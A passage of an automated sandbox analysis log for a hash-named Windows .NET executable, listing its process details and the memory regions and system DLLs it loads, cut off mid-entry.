# Flog Txt Version 1 # Analyzer Version: 4.3.0 # Analyzer Build Date: Sep 20 2021 05:59:55 # Log Creation Date: 28.09.2021 11:00:12.637 Process: id = "1" image_name = "ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe" filename = "c:\\users\\keecfmwgj\\desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe" page_root = "0x3b510000" os_pid = "0xed0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x448" cmd_line = "\"C:\\Users\\kEecfMwgj\\Desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe\" " cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e95f" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 114 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 115 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 116 start_va = 0x40000 end_va = 0x40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 117 start_va = 0x50000 end_va = 0x53fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 118 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 119 start_va = 0x1a0000 end_va = 0x205fff monitored = 1 entry_point = 0x1a611e region_type = mapped_file name = "ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe" filename = "\\Users\\kEecfMwgj\\Desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe") Region: id = 120 start_va = 0x270000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 121 start_va = 0x2f0000 end_va = 0x3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 122 start_va = 0x76e60000 end_va = 0x77008fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 123 start_va = 0x77040000 end_va = 0x771bffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 124 start_va = 0x7efb0000 end_va = 0x7efd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 125 start_va = 0x7efdb000 end_va = 0x7efddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 126 start_va = 0x7efde000 end_va = 0x7efdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 127 start_va = 0x7efdf000 end_va = 0x7efdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 128 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 129 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 130 start_va = 0x7fff0000 end_va = 0x7fffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 270 start_va = 0x5a0000 end_va = 0x61ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005a0000" filename = "" Region: id = 271 start_va = 0x74880000 end_va = 0x748dbfff monitored = 0 entry_point = 0x748bf9f4 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 272 start_va = 0x748e0000 end_va = 0x7491efff monitored = 0 entry_point = 0x7490e088 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 273 start_va = 0x74950000 end_va = 0x74957fff monitored = 0 entry_point = 0x749520f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 274 start_va = 0x76c40000 end_va = 0x76d5efff monitored = 0 entry_point = 0x76c55340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 275 start_va = 0x75d40000 end_va = 0x75e4ffff monitored = 0 entry_point = 0x75d53283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 276 start_va = 0x76c40000 end_va = 0x76d5efff monitored = 0 entry_point = 0x76c55340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 277 start_va = 0x76c40000 end_va = 0x76d5efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000076c40000" filename = "" Region: id = 278 start_va = 0x76d60000 end_va = 0x76e59fff monitored = 0 entry_point = 0x76d7a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 279 start_va = 0x76d60000 end_va = 0x76e59fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000076d60000" filename = "" Region: id = 280 start_va = 0x620000 end_va = 0x8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000620000" filename = "" Region: id = 281 start_va = 0x74a20000 end_va = 0x74a69fff monitored = 1 entry_point = 0x74a22e54 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\SysWOW64\\mscoree.dll" (normalized: "c:\\windows\\syswow64\\mscoree.dll") Region: id = 282 start_va = 0x75d40000 end_va = 0x75e4ffff monitored = 0 entry_point = 0x75d53283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 283 start_va = 0x75150000 end_va = 0x75196fff monitored = 0 entry_point = 0x751574c1 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 284 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 285 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 286 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 287 start_va = 0x70000 end_va = 0xd6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 288 start_va = 0x3f0000 end_va = 0x4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 289 start_va = 0x620000 end_va = 0x72ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000620000" filename = "" Region: id = 290 start_va = 0x7d0000 end_va = 0x8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 291 start_va = 0x75ca0000 end_va = 0x75d3ffff monitored = 0 entry_point = 0x75cb49e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 292 start_va = 0x74cf0000 end_va = 0x74d9bfff monitored = 0 entry_point = 0x74cfa472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 293 start_va = 0x753d0000 end_va = 0x753e8fff monitored = 0 entry_point = 0x753d4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 294 start_va = 0x75710000 end_va = 0x757fffff monitored = 0 entry_point = 0x75720569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 295 start_va = 0x74b90000 end_va = 0x74beffff monitored = 0 entry_point = 0x74baa3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 296 start_va = 0x74b80000 end_va = 0x74b8bfff monitored = 0 entry_point = 0x74b810e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 297 start_va = 0xe0000 end_va = 0x16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 298 start_va = 0x74990000 end_va = 0x74a1cfff monitored = 1 entry_point = 0x749a2860 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll") Region: id = 299 start_va = 0x72bf0000 end_va = 0x72bf2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\SysWOW64\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\syswow64\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 300 start_va = 0x74c90000 end_va = 0x74ce6fff monitored = 0 entry_point = 0x74ca9ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 301 start_va = 0x74e80000 end_va = 0x74f0ffff monitored = 0 entry_point = 0x74e96343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 302 start_va = 0x75b00000 end_va = 0x75bfffff monitored = 0 entry_point = 0x75b1b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 303 start_va = 0x77010000 end_va = 0x77019fff monitored = 0 entry_point = 0x770136a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 304 start_va = 0x74bf0000 end_va = 0x74c8cfff monitored = 0 entry_point = 0x74c23fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 305 start_va = 0x20000 end_va = 0x3dfff monitored = 0 entry_point = 0x3158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 306 start_va = 0x8d0000 end_va = 0xa57fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008d0000" filename = "" Region: id = 307 start_va = 0x20000 end_va = 0x3dfff monitored = 0 entry_point = 0x3158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 308 start_va = 0x75c40000 end_va = 0x75c9ffff monitored = 0 entry_point = 0x75c5158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 309 start_va = 0x751a0000 end_va = 0x7526bfff monitored = 0 entry_point = 0x751a168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 310 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 311 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 312 start_va = 0xa60000 end_va = 0xbe0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a60000" filename = "" Region: id = 313 start_va = 0xbf0000 end_va = 0x1feffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000bf0000" filename = "" Region: id = 314 start_va = 0xe0000 end_va = 0x13ffff monitored = 1 entry_point = 0xe611e region_type = mapped_file name = "ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe" filename = "\\Users\\kEecfMwgj\\Desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe") Region: id = 315 start_va = 0x160000 end_va = 0x16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 316 start_va = 0xe0000 end_va = 0x13ffff monitored = 1 entry_point = 0xe611e region_type = mapped_file name = "ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe" filename = "\\Users\\kEecfMwgj\\Desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe") Region: id = 317 start_va = 0x73b80000 end_va = 0x73b88fff monitored = 0 entry_point = 0x73b81220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 318 start_va = 0x712b0000 end_va = 0x71a5efff monitored = 1 entry_point = 0x712cd0d0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll") Region: id = 319 start_va = 0x71a60000 end_va = 0x7220efff monitored = 1 entry_point = 0x71a7d0d0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll") Region: id = 320 start_va = 0x712b0000 end_va = 0x71a5efff monitored = 1 entry_point = 0x712cd0d0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll") Region: id = 321 start_va = 0x74970000 end_va = 0x74983fff monitored = 0 entry_point = 0x7497ac00 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\SysWOW64\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\syswow64\\vcruntime140_clr0400.dll") Region: id = 322 start_va = 0x723c0000 end_va = 0x7246afff monitored = 0 entry_point = 0x72455f20 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\SysWOW64\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\syswow64\\ucrtbase_clr0400.dll") Region: id = 323 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 324 start_va = 0xf0000 end_va = 0xfffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 325 start_va = 0x100000 end_va = 0x10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 326 start_va = 0x110000 end_va = 0x11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 327 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 328 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 329 start_va = 0x140000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 330 start_va = 0x150000 end_va = 0x150fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 331 start_va = 0x170000 end_va = 0x170fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 332 start_va = 0x210000 end_va = 0x24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 333 start_va = 0x3f0000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 334 start_va = 0x4e0000 end_va = 0x4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 335 start_va = 0x770000 end_va = 0x7affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000770000" filename = "" Region: id = 336 start_va = 0x2010000 end_va = 0x210ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002010000" filename = "" Region: id = 337 start_va = 0x7efd8000 end_va = 0x7efdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 338 start_va = 0x180000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 339 start_va = 0x2110000 end_va = 0x410ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002110000" filename = "" Region: id = 340 start_va = 0x4f0000 end_va = 0x58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004f0000" filename = "" Region: id = 341 start_va = 0x4120000 end_va = 0x415ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004120000" filename = "" Region: id = 342 start_va = 0x4300000 end_va = 0x43fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004300000" filename = "" Region: id = 343 start_va = 0x7efd5000 end_va = 0x7efd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 344 start_va = 0x730000 end_va = 0x76ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000730000" filename = "" Region: id = 345 start_va = 0x4470000 end_va = 0x456ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004470000" filename = "" Region: id = 346 start_va = 0x7efad000 end_va = 0x7efaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 347 start_va = 0x4570000 end_va = 0x483efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 348 start_va = 0x6fea0000 end_va = 0x712aafff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll") Region: id = 349 start_va = 0x75270000 end_va = 0x753cbfff monitored = 0 entry_point = 0x752bba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 350 start_va = 0x73aa0000 end_va = 0x73b1ffff monitored = 0 entry_point = 0x73ab37c9 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 351 start_va = 0x620000 end_va = 0x6cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000620000" filename = "" Region: id = 352 start_va = 0x6f0000 end_va = 0x72ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006f0000" filename = "" Region: id = 353 start_va = 0x4160000 end_va = 0x423efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004160000" filename = "" Region: id = 354 start_va = 0x180000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 355 start_va = 0x74960000 end_va = 0x74962fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\SysWOW64\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\syswow64\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 356 start_va = 0x72180000 end_va = 0x72208fff monitored = 1 entry_point = 0x72181130 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll") Region: id = 357 start_va = 0x758a0000 end_va = 0x7592efff monitored = 0 entry_point = 0x758a3fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 358 start_va = 0x190000 end_va = 0x19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 359 start_va = 0x6f440000 end_va = 0x6fe94fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System\\2c3c912ea8f058f9d04c4650128feb3f\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\2c3c912ea8f058f9d04c4650128feb3f\\system.ni.dll") Region: id = 360 start_va = 0x71fd0000 end_va = 0x72172fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Drawing\\f7568d7f1b9d356f64779b4c0927cfb3\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.drawing\\f7568d7f1b9d356f64779b4c0927cfb3\\system.drawing.ni.dll") Region: id = 361 start_va = 0x6e5d0000 end_va = 0x6f435fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Windows.Forms\\c9a4cbc00f690a9e3cddfc400f6e85bb\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.windows.forms\\c9a4cbc00f690a9e3cddfc400f6e85bb\\system.windows.forms.ni.dll") Region: id = 362 start_va = 0x6e020000 end_va = 0x6e5c3fff monitored = 1 entry_point = 0x6e5ab692 region_type = mapped_file name = "system.windows.forms.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Windows.Forms\\v4.0_4.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.windows.forms\\v4.0_4.0.0.0__b77a5c561934e089\\system.windows.forms.dll") Region: id = 363 start_va = 0x250000 end_va = 0x251fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000250000" filename = "" Region: id = 364 start_va = 0x6ddb0000 end_va = 0x6e5c7fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.core.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Core\\31fae3290fad30c31c98651462d22724\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.core\\31fae3290fad30c31c98651462d22724\\system.core.ni.dll") Region: id = 365 start_va = 0x71ec0000 end_va = 0x71fc4fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.configuration.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Configuration\\96f7edb07b12303f0ec2595c7f3778c7\\System.Configuration.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.configuration\\96f7edb07b12303f0ec2595c7f3778c7\\system.configuration.ni.dll") Region: id = 366 start_va = 0x6d630000 end_va = 0x6dda3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.xml.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Xml\\15af16d373cf0528cb74fc73d365fdbf\\System.Xml.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.xml\\15af16d373cf0528cb74fc73d365fdbf\\system.xml.ni.dll") Region: id = 367 start_va = 0x723a0000 end_va = 0x723b2fff monitored = 1 entry_point = 0x723ad900 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\nlssorting.dll") Region: id = 368 start_va = 0x4840000 end_va = 0x4b11fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sortdefault.nlp") Region: id = 369 start_va = 0x75ff0000 end_va = 0x76c39fff monitored = 0 entry_point = 0x76071601 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 370 start_va = 0x260000 end_va = 0x260fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 371 start_va = 0x74940000 end_va = 0x7494afff monitored = 0 entry_point = 0x74941992 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 372 start_va = 0x4b20000 end_va = 0x4beffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004b20000" filename = "" Region: id = 373 start_va = 0x72380000 end_va = 0x72396fff monitored = 0 entry_point = 0x723835fa region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll") Region: id = 374 start_va = 0x73950000 end_va = 0x73966fff monitored = 0 entry_point = 0x73953573 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 375 start_va = 0x2b0000 end_va = 0x2ebfff monitored = 0 entry_point = 0x2b128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 376 start_va = 0x2b0000 end_va = 0x2ebfff monitored = 0 entry_point = 0x2b128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 377 start_va = 0x2b0000 end_va = 0x2ebfff monitored = 0 entry_point = 0x2b128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 378 start_va = 0x2b0000 end_va = 0x2ebfff monitored = 0 entry_point = 0x2b128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 379 start_va = 0x2b0000 end_va = 0x2ebfff monitored = 0 entry_point = 0x2b128d region_type = mapped_file name = "rsaenh.dll" filename = 